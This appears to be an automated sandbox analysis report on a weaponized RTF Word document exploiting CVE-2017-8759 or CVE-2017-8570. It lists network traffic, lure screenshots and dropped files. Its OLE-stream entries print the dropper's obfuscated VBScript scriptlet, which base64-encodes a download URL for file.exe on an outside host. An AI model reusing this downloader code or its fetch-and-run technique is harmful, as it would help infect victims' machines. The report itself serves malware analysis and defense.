Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 149.102.154.62:443
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: COGENT-174US COGENT-174US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /file.exe HTTP/1.1Host: thekaribacruisecompany.comConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 149.102.154.62:443 -> 192.168.2.22:49172 version: TLS 1.0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /file.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: thekaribacruisecompany.comConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: powershell.exe, 00000006.00000002.911999906.00000000002DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000006.00000002.912596165.00000000035BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.926461141.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.959457009.000000000385C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: httPs://thekaribacruisecompany.c
Source: powershell.exe, 00000012.00000002.953185169.00000000002CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: httPs://thekaribacruisecompany.com/file.exe
Source: powershell.exe, 0000000C.00000002.926461141.00000000035AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: httPs://thekaribacruisecompany.com/file.exePE
Source: powershell.exe, 00000006.00000002.912596165.00000000035BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.959457009.000000000385C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: httPs://thekaribacruisecompany.com/file.exePEQ
Source: powershell.exe, 00000006.00000002.919745005.000000001B388000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B39E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.00000000002DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.919745005.000000001B39E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.000000000024F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000002.919745005.000000001B3A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.000000000024F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: file.exe, file.exe, 00000010.00000000.947049391.000000000040A000.00000008.00000001.01000000.00000006.sdmp, file.exe, 00000010.00000002.1283348828.000000000040A000.00000004.00000001.01000000.00000006.sdmp, file.exe, 00000015.00000000.1014911809.000000000040A000.00000008.00000001.01000000.00000006.sdmp, file.exe, 00000015.00000002.1283424107.000000000040A000.00000004.00000001.01000000.00000006.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: file.exe, 00000009.00000002.1283288153.000000000040A000.00000004.00000001.01000000.00000006.sdmp, file.exe, 00000009.00000000.921928467.000000000040A000.00000008.00000001.01000000.00000006.sdmp, file.exe, 00000010.00000000.947049391.000000000040A000.00000008.00000001.01000000.00000006.sdmp, file.exe, 00000010.00000002.1283348828.000000000040A000.00000004.00000001.01000000.00000006.sdmp, file.exe, 00000015.00000000.1014911809.000000000040A000.00000008.00000001.01000000.00000006.sdmp, file.exe, 00000015.00000002.1283424107.000000000040A000.00000004.00000001.01000000.00000006.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000006.00000002.919745005.000000001B39E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.919745005.000000001B388000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.919745005.000000001B388000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.00000000002DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.919745005.000000001B39E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.000000000024F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.000000000024F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000012.00000002.953185169.00000000002CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/Yg
Source: powershell.exe, 0000000C.00000002.925602681.00000000001B7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.953185169.00000000002CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000036DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0.
Source: powershell.exe, 00000006.00000002.919745005.000000001B388000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B39E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.911999906.00000000002DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B37C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000002.912596165.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.912596165.00000000035BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://thekaribacruisecompany.com
Source: powershell.exe, 00000006.00000002.912596165.00000000035BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.919745005.000000001B35A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://thekaribacruisecompany.com/file.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D69C60B5-B29E-4F37-A352-937B9DD503EB}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: thekaribacruisecompany.com
Source: global traffic HTTP traffic detected: GET /file.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: thekaribacruisecompany.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /file.exe HTTP/1.1Host: thekaribacruisecompany.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 149.102.154.62:443 -> 192.168.2.22:49171 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004054B6 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 9_2_004054B6

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: TEPO0015922.doc, type: SAMPLE Matched rule: detects CVE-2017-8759 or CVE-2017-8570 weaponized RTF documents. Author: ditekSHen
Source: TEPO0015922.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 8 Screenshot OCR: Enable Editing to view the document. I t3 I a tE
Source: Screenshot number: 16 Screenshot OCR: Enable Editing to view the document. ii: ^ Uf= a S O I @ 100% G) A GE)
Microsoft Office creates scripting files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT Jump to behavior
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\file[1].exe Jump to dropped file
Document contains OLE streams with names of living off the land binaries
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr Stream path '_1740622809/\x1Ole10Native' : j....FZdtfhgYgeghD.scT.C:\osdsTggH\FZdtfhgYgeghD.scT..... ...C:\8jkepaD\FZdtfhgYgeghD.scT...<scriptleT.. ><script runat="server" language = 'vbscript'>....fsdfdsfs = "aHR0UHM6Ly90aGVrYXJpYmFjcnVpc2Vjb21wYW55LmNvbS9maWxlLmV4ZQ==" 'wiiurg..yulkytjtrhtjrkdsarjky ="ZmlsZS5leGU=" 'wiiurg..Function age64Funccode(ByVal cvwtr5ycbve, ByVal trtsk484t378).. Dim xtexenc.. if trtsk484t378 Then xtexenc = "utf-16le" Else xtexenc = "utf" + "-8".. ' Use an aux. XML document with a Base64-encoded element... ' Assigning the encoded text to .Text makes the decoded byte array.. jdcuidowfubg7 = "b" + "je".. vbsxjkhwgejkdwfgkvbf = "Cr".. vbsxjkhwgejkdwfgkvbf = vbsxjkhwgejkdwfgkvbf + "eateO".. vbsxjkhwgejkdwfgkvbf = vbsxjkhwgejkdwfgkvbf + jdcuidowfubg7 + "ct".. soswjwslvc = "reate".. mosdoepfy9eqje = "Se".. vposaleusaogr = "(""Msx".. vposaleusaogr = vposaleusaogr + "ml2.".. vposaleusaogr = vposaleusaogr + "DOMDocument"")" + ".C".. mosdoepfy9eqje = mosdoepfy9eqje + "t alxmd = " + vbsxjkhwgejkdwfgkvbf + vposaleusaogr + soswjwslvc + "E".. mosdoepfy9eqje = mosdoepfy9eqje + "l".. mosdoepfy9eqje = mosdoepfy9eqje + "em".. mosdoepfy9eqje = mosdoepfy9eqje + "ent(".. mosdoepfy9eqje = mosdoepfy9eqje + """a".. mosdoepfy9eqje = mosdoepfy9eqje + "ux"")".. 'MsgBox(mosdoepfy9eqje).. var1 = mosdoepfy9eqje...sn556 = "ex" + "ecu"...sn556 = sn556 + "te" + "(var1)".. dim uify7eiwhjdvhig3y893ry:EvaFunc sn556.. ksvjvwdwye2r = "Data".. odjeiojfyd2f8fu34u = "alxmd." + ksvjvwdwye2r + "Type = wslausfychks".. var1 = odjeiojfyd2f8fu34u.... sn556 = "ex" + "ecu" + "te" + "(var1)".. dim a32947234987234:EvaFunc(sn556)....'MsgBox(aaaaaaaadddd).. vartyzx = "md".. vartx = ".Tex"...rey45r3t3e3yhju = "alx" + vartyzx + vartx + "t = ".. rey45r3t3e3yhju = rey45r3t3e3yhju + "cvwtr5ycbve".. buicd78 = "alxmd.Text = cvwtr5ycbve".... var1 = buicd78.. sn556 = "ex" + "ecu" + "te" + "(var1)".. dim a32947234987236:execute sn556.... age64Funccode = BytesToStr(alxmd.NodeTypedValue, xtexenc)..End Function....apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 01007840626
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr Stream path '_1740622893/\x1Ole10Native' : k....FZdtfhgYgeghD.scT.C:\osdsTggH\FZdtfhgYgeghD.scT.....6...C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD.scT.j..<scriptleT.. ><script runat="server" language = 'vbscript'>....fsdfdsfs = "aHR0UHM6Ly90aGVrYXJpYmFjcnVpc2Vjb21wYW55LmNvbS9maWxlLmV4ZQ==" 'wiiurg..yulkytjtrhtjrkdsarjky ="ZmlsZS5leGU=" 'wiiurg..Function age64Funccode(ByVal cvwtr5ycbve, ByVal trtsk484t378).. Dim xtexenc.. if trtsk484t378 Then xtexenc = "utf-16le" Else xtexenc = "utf" + "-8".. ' Use an aux. XML document with a Base64-encoded element... ' Assigning the encoded text to .Text makes the decoded byte array.. jdcuidowfubg7 = "b" + "je".. vbsxjkhwgejkdwfgkvbf = "Cr".. vbsxjkhwgejkdwfgkvbf = vbsxjkhwgejkdwfgkvbf + "eateO".. vbsxjkhwgejkdwfgkvbf = vbsxjkhwgejkdwfgkvbf + jdcuidowfubg7 + "ct".. soswjwslvc = "reate".. mosdoepfy9eqje = "Se".. vposaleusaogr = "(""Msx".. vposaleusaogr = vposaleusaogr + "ml2.".. vposaleusaogr = vposaleusaogr + "DOMDocument"")" + ".C".. mosdoepfy9eqje = mosdoepfy9eqje + "t alxmd = " + vbsxjkhwgejkdwfgkvbf + vposaleusaogr + soswjwslvc + "E".. mosdoepfy9eqje = mosdoepfy9eqje + "l".. mosdoepfy9eqje = mosdoepfy9eqje + "em".. mosdoepfy9eqje = mosdoepfy9eqje + "ent(".. mosdoepfy9eqje = mosdoepfy9eqje + """a".. mosdoepfy9eqje = mosdoepfy9eqje + "ux"")".. 'MsgBox(mosdoepfy9eqje).. var1 = mosdoepfy9eqje...sn556 = "ex" + "ecu"...sn556 = sn556 + "te" + "(var1)".. dim uify7eiwhjdvhig3y893ry:EvaFunc sn556.. ksvjvwdwye2r = "Data".. odjeiojfyd2f8fu34u = "alxmd." + ksvjvwdwye2r + "Type = wslausfychks".. var1 = odjeiojfyd2f8fu34u.... sn556 = "ex" + "ecu" + "te" + "(var1)".. dim a32947234987234:EvaFunc(sn556)....'MsgBox(aaaaaaaadddd).. vartyzx = "md".. vartx = ".Tex"...rey45r3t3e3yhju = "alx" + vartyzx + vartx + "t = ".. rey45r3t3e3yhju = rey45r3t3e3yhju + "cvwtr5ycbve".. buicd78 = "alxmd.Text = cvwtr5ycbve".... var1 = buicd78.. sn556 = "ex" + "ecu" + "te" + "(var1)".. dim a32947234987236:execute sn556.... age64Funccode = BytesToStr(alxmd.NodeTypedValue, xtexenc)..End Function....apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "01007840626056208610365056308465023789460 + 0100784062605620861036505630846502378946086150570839465734*1283163712683761273681"..apkvaraks = "0100784062605620861036505630846
Powershell drops PE file
